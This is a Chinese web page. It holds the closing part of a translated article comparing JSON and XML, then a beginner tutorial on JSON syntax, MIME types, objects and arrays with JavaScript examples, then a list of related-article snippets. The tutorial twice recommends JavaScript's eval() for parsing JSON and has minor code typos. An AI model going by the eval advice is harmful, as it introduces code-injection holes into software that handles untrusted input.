    从这些趋势中可以推断,JSON 的发展将统一 Web 的信息交换格式,XML 的使用率将继续降低。虽然不应该把 JSON 吹过头了,因为 XML 在 Web 中的使用依旧很广,而且它还是 SOAP 的唯一选择,可考虑到 SOAP 到 REST 的迁移,NoSQL 数据库和全栈 JavaScript 的兴起,JSON 卓越的性能,我相信 JSON 很快就会在 Web 开发中超过 XML。至于其他领域,XML 比 JSON 更好的情况并不多。

    角注


    1. Introducing JSON[7] ↩

    2. XML Tutorial[8] ↩

    3. JSON vs. XML: Some hard numbers about verbosity[9] ↩

    4. Comparison of JSON and XML Data Interchange Formats: A Case Study[10] ↩

    5. A comparison of data serialization formats for optimal efficiency on a mobile platform[11] ↩

    6. Comparison of JSON and XML Data Interchange Formats: A Case Study[10] ↩

    7. A comparison of data serialization formats for optimal efficiency on a mobile platform[11] ↩

    8. Introducing JSON[7] ↩

    9. Most Popular APIs: At Least One Will Surprise You[12] ↩

    10. Why JSON will continue to push XML out of the picture[13] ↩

    11. Thousands of APIs Paint a Bright Future for the Web[14] ↩

    12. Why JSON will continue to push XML out of the picture[13] ↩

    13. How JSON sparked NoSQL – and will return to the RDBMS fold[15] ↩

    14. A Simple Explanation Of ‘The Internet Of Things’[16] ↩

    15. Proofpoint Uncovers Internet of Things (IoT) Cyberattack[17] ↩

    16. Why JSON will continue to push XML out of the picture[13] ↩

    17. Why JSON will continue to push XML out of the picture[13] ↩

    18. Thousands of APIs Paint a Bright Future for the Web[14] ↩

    19. 3,000 Web APIs: Trends From A Quickly Growing Directory[18] ↩

    20. How REST replaced SOAP on the Web: What it means to you[19] ↩

     


    via: https://www.cs.tufts.edu/comp/150IDS/final_papers/tstras01.1/FinalReport/FinalReport.html

    展开全文
  • JSON(一)与XML对比、MIME、JSON对象、JSON数组 文章目录JSON(一)与XML对比、MIME、JSON对象、JSON数组1. JSON简介什么是 JSONJSON - 转换为 JavaScript 对象与 XML 相同之处与 XML 不同之处为什么使用 JSON?...

    JSON(一)与XML对比、MIME、JSON对象、JSON数组

    总结:

    • key 必须是字符串,value 可以是合法的 JSON 数据类型(字符串, 数字, 对象, 数组, 布尔值或 null)。
    • 点号:x = myObj.name;中括号:x = myObj[“name”]
    • 使用for…in遍历JSON数组更方便

    1. JSON简介

    JSON: JavaScript Object Notation(JavaScript 对象表示法)

    JSON 是存储和交换文本信息的语法,类似 XML。

    JSON 比 XML 更小、更快,更易解析。

    什么是 JSON ?

    • JSON 指的是 JavaScript 对象表示法(JavaScript Object Notation)
    • JSON 是轻量级的文本数据交换格式
    • JSON 独立于语言:JSON 使用 Javascript语法来描述数据对象,但是 JSON 仍然独立于语言和平台。JSON 解析器和 JSON 库支持许多不同的编程语言。 目前非常多的动态(PHP,JSP,.NET)编程语言都支持JSON。
    • JSON 具有自我描述性,更易理解

    JSON - 转换为 JavaScript 对象

    JSON 文本格式在语法上与创建 JavaScript 对象的代码相同。

    由于这种相似性,无需解析器,JavaScript 程序能够使用内建的 eval() 函数,用 JSON 数据来生成原生的 JavaScript 对象。

    与 XML 相同之处

    • JSON 是纯文本
    • JSON 具有"自我描述性"(人类可读)
    • JSON 具有层级结构(值中存在值)
    • JSON 可通过 JavaScript 进行解析
    • JSON 数据可使用 AJAX 进行传输

    与 XML 不同之处

    • 没有结束标签
    • 更短
    • 读写的速度更快
    • 能够使用内建的 JavaScript eval() 方法进行解析
    • 使用数组
    • 不使用保留字

    为什么使用 JSON?

    对于 AJAX 应用程序来说,JSON 比 XML 更快更易使用:

    使用 XML

    • 读取 XML 文档
    • 使用 XML DOM 来循环遍历文档
    • 读取值并存储在变量中

    使用 JSON

    • 读取 JSON 字符串
    • 用 eval() 处理 JSON 字符串

    2. JSON语法规则

    JSON 语法是 JavaScript 对象表示语法的子集。

    • 数据在名称/值对中
    • 数据由逗号分隔
    • 大括号 {} 保存对象
    • 中括号 [] 保存数组,数组可以包含多个对象

    JSON 名称/值对

    JSON 数据的书写格式是:

    key : value
    

    名称/值对包括字段名称(在双引号中),后面写一个冒号,然后是值:

    “name” : “菜鸟教程”

    这很容易理解,等价于这条 JavaScript 语句:

    name = "菜鸟教程"
    

    JSON 数组

    JSON 数组在中括号 [] 中书写:

    数组可包含多个对象:

    [
        { key1 : value1-1 , key2:value1-2 }, 
        { key1 : value2-1 , key2:value2-2 }, 
        { key1 : value3-1 , key2:value3-2 }, 
        ...
        { keyN : valueN-1 , keyN:valueN-2 }, 
    ]
    

    JSON 文件(MIME)

    • JSON 文件的文件类型是 .json
    • JSON 文本的 MIME 类型是 application/json

    MIME的全称是Multipurpose Internet Mail Extensions,即多用途互联网邮件扩展类型

    MIME的格式:

    type/subtype
    

    第一级分类:

    img

    第二级分类:

    img

    3. JSON vs XML

    JSON 和 XML 都用于接收 web 服务端的数据。

    最大的不同是:XML 需要使用 XML 解析器来解析,JSON 可以使用标准的 JavaScript 函数来解析。

    为什么 JSON 比 XML 更好?

    XML 比 JSON 更难解析。

    JSON 可以直接使用现有的 JavaScript 对象解析。

    针对 AJAX 应用,JSON 比 XML 数据加载更快,而且更简单:

    使用 XML

    • 获取 XML 文档
    • 使用 XML DOM 迭代循环文档
    • 接数据解析出来复制给变量

    使用 JSON

    • 获取 JSON 字符串
    • JSON.Parse 解析 JSON 字符串

    4. JSON对象

    对象语法

    { "name":"runoob", "alexa":10000, "site":null }
    

    JSON 对象使用在大括号({})中书写。

    对象可以包含多个 **key/value(键/值)**对。

    key 必须是字符串,value 可以是合法的 JSON 数据类型(字符串, 数字, 对象, 数组, 布尔值或 null)。

    key 和 value 中使用冒号(:)分割。

    每个 key/value 对使用逗号(,)分割。

    访问对象值

    你可以使用点号(.)来访问对象的值:

    var myObj, x;
    myObj = { "name":"runoob", "alexa":10000, "site":null };
    x = myObj.name;
    

    你也可以使用中括号([])来访问对象的值:

    var myObj, x;
    myObj = { "name":"runoob", "alexa":10000, "site":null };
    x = myObj["name"];
    

    循环对象

    你可以使用 for-in 来循环对象的属性:

    ar myObj = { "name":"runoob", "alexa":10000, "site":null };
    for (x in myObj) {
        document.getElementById("demo").innerHTML += x + "<br>";
    }
    

    在 for-in 循环对象的属性时,使用中括号([])来访问属性的值:

    var myObj = { "name":"runoob", "alexa":10000, "site":null };
    for (x in myObj) {
        document.getElementById("demo").innerHTML += myObj[x] + "<br>";
    }
    

    嵌套 JSON 对象

    JSON 对象中可以包含另外一个 JSON 对象:

    myObj = {
        "name":"runoob",
        "alexa":10000,
        "sites": {
            "site1":"www.runoob.com",
            "site2":"m.runoob.com",
            "site3":"c.runoob.com"
        }
    }
    

    你可以使用点号(.)或者中括号([])来访问嵌套的 JSON 对象。

    x = myObj.sites.site1;
    // 或者
    x = myObj.sites["site1"];
    

    修改值

    你可以使用点号(.)来修改 JSON 对象的值:

    myObj.sites.site1 = "www.google.com";
    

    你可以使用中括号([])来修改 JSON 对象的值:

    myObj.sites["site1"] = "www.google.com";
    

    删除对象属性

    我们可以使用 delete 关键字来删除 JSON 对象的属性:

    delete myObj.sites.site1;
    

    你可以使用中括号([])来删除 JSON 对象的属性:

    delete myObj.sites["site1"]
    

    5. JSON数组

    数组作为 JSON 对象

    [ "Google", "Runoob", "Taobao" ]
    

    JSON 数组在中括号中书写。

    JSON 中数组值必须是合法的 JSON 数据类型(字符串, 数字, 对象, 数组, 布尔值或 null)。

    JavaScript 中,数组值可以是以上的 JSON 数据类型,也可以是 JavaScript 的表达式,包括函数,日期,及 undefined

    JSON 对象中的数组

    对象属性的值可以是一个数组:

    {
    "name":"网站",
    "num":3,
    "sites":[ "Google", "Runoob", "Taobao" ]
    }
    

    我们可以使用索引值来访问数组

    x = myObj.sites[0];
    

    循环数组

    你可以使用 for-in 来访问数组

    for (i in myObj.sites) {
        x += myObj.sites[i] + "<br>";
    }
    

    你也可以使用 for 循环:

    for (i = 0; i < myObj.sites.length; i++) {
        x += myObj.sites[i] + "<br>";
    }
    

    嵌套 JSON 对象中的数组

    JSON 对象中数组可以包含另外一个数组,或者另外一个 JSON 对象:

    myObj = {
        "name":"网站",
        "num":3,
        "sites": [
            { "name":"Google", "info":[ "Android", "Google 搜索", "Google 翻译" ] },
            { "name":"Runoob", "info":[ "菜鸟教程", "菜鸟工具", "菜鸟微信" ] },
            { "name":"Taobao", "info":[ "淘宝", "网购" ] }
        ]
    }
    

    我们可以使用 for-in 来循环访问每个数组:

    for (i in myObj.sites) {
        x += "<h1>" + myObj.sites[i].name + "</h1>";
        for (j in myObj.sites[i].info) {
            x += myObj.sites[i].info[j] + "<br>";
        }
    }
    

    修改数组值

    你可以使用索引值来修改数组值:

    myObj.sites[1] = "Github";
    

    删除数组元素

    我们可以使用 delete 关键字来删除数组元素:

    delete myObj.sites[1];
    
    展开全文
  • JSON(JavaScriptObject Notation, JS 对象简谱) 是一种轻量级的数据交换...简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。 ...
  • 遍历 Json 数组:
  • XML与JSON对比

    2016-11-14 17:33:43
    XML与JSON对比 1、各自定义 XML 扩展标记语言 (Extensible Markup Language, XML) ,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行...
  • xml与json对比(转)

    2017-08-29 22:36:45
    XML与JSON对比 1、各自定义 XML 扩展标记语言 (Extensible Markup Language, XML) ,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行...
  • Android解析JSON数据几种方式对比

    千次阅读 2016-08-15 16:50:43
    Json介绍 ...Json是一种取代Xml的数据结构,相比于xml更小巧,从而减少数据传输流量和占用的带宽。 Json语法 { } 表示对象 [ ] 表示数组 " " 表示值或属性 : 表示前面是key后面是value,value可以
  • JSON解析和XML解析是较为普遍的两种解析方式,其中JSON解析的市场分额更大。本文系统的分析两种解析方式的区别,为更好地处理数据作...对象类型JSON数据用大括号包裹,属性和值相对应。数组类型JSON数据可以看成多个
  • Java中几个json工具分析 1, 环境 JDK1.6+IDE(IntelliJ IDEA)+windowsXP+GBK编码 2,分析对象 jackson1.8.2 http://jackson.codehaus.org/ gson1.7.1 http://code.google.com/p/google-gson/ jsob_lib2.4 ...
  • XML与JSON的介绍与对比 随着移动互联网时代的到来,越来越多的App客户端都需要和网络服务器或者其他客户端进行数据传输和交互,承担App与网络来进行传输和存储数据的格式一般是XML或者JSON。所以我们很有必要了解...
  • 数据结构:Object,Array 对象Object:使用花括号{}包含的键值对,key必须是string基本类型,value可以是数据结构和基本类型 ...json中没有日期属性,javabean的日期只能转成字符串。json不能反解析成bean googl...
  • springboot返回json数据对属性为null值的处理 参考网址: https://mp.weixin.qq.com/s/y7RXiF9ENxYnLWN_jdWbRg Spring Boot返回Json数据及数据封装 本来已收录到我写的10万字Springboot经典学习笔记中,笔记在持续...
  • /** 标准的对比数据*/ let DHCheck = { id: "SCD123", name: "SCD123", style: "2018C287190", type: "西裤", // url: "mes.etsystem.cn/order/SCD123", quantity: 210, ...
  • c# 序列化JSON 忽略部分属性的方法

    千次阅读 2019-03-07 16:28:37
    问题源:https://bbs.csdn.net/topics/390741085 方法:... Json.Net系列教程 3.Json.Net序列化和反序列化设置 上节补充 首先补充一点,Json.Net是支持序列化和反序列化DataTabl...
  • 深入对比TOML,JSON和YAML

    千次阅读 2019-04-01 16:54:50
    深入对比TOML,JSON和YAML https://www.cnblogs.com/sunsky303/p/9208848.html 目录 TOML(Tom's Obvious,Minimal Language) YAML(不是标记语言) JSON(JavaScript对象表示法) TOML,YAML和JSON之间的...
  • key 为对象的属性,value 为对应的值。 键名可以使用整数和字符串来表示; 值的类型可以是任意类型。 数组:数组在 JS 中是方括号 [ ] 包裹起来的内容, 数据结构为 [“java”, “javascript”, “vb”, …] 的索引...
  • java序列化和json序列化效率对比

    万次阅读 2016-02-23 18:05:30
    有项目需要传输Map结构的数据,有人倾向用Java序列化来做,有人倾向用JSON的序列化来做。所以我们还是比比吧。 Java观点:Object2Object,使用时简单快速。 JSON观点:JSON格式与语言无关,扩展性强,速度也...
  • JSON 与 XML 的区别、优劣势对比

    千次阅读 2018-08-04 11:50:12
    JSON多用于简单的结构化数据方面,通常是以数据为中心,而不是以文档为中心,因此JSON不是文本标记语言,它是为数据设计而生。 (2) XML可以用于结构化和半结构化数据两个方面,是一种文本标记语言,可以以数据及...
  • Json 、XML 两种数据交换格式: Json简单的说就是Javascript的对象和数组  1.对象:对象在Js中表示为“{}”括起来的内容  2.数组:数组是在Js中是中括号“[ ]”括起来的内容 例:{"weatherinfo":{"city":"北京...
  • JSON

    2016-04-28 15:55:12
    JSON和XML一样,都是一种结构化的数据表示方式,JSON是一种轻量级的数据交换格式 JSON数据类型有三种 简单值:boolean 、string 、number、null、(JSON不支持undefined)【ps:true ‘hello’ 10 null 这些都是...
  • 文章主要介绍了结构化数据提取之JSON与JsonPATH。
  • 对比XML JSON INI 三种格式

    千次阅读 2014-07-09 15:05:27
    在移动与WEB开发时,避免不了服务端与客户端数据交换,需要从多种格式中找到一种合适的 主要考虑两点,数据量小,解析快速,支持工具丰富 这里列举三种常用的数据格式 ,XML,JSON,INI

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 27,032
精华内容 10,812
关键字:

json结构属性对比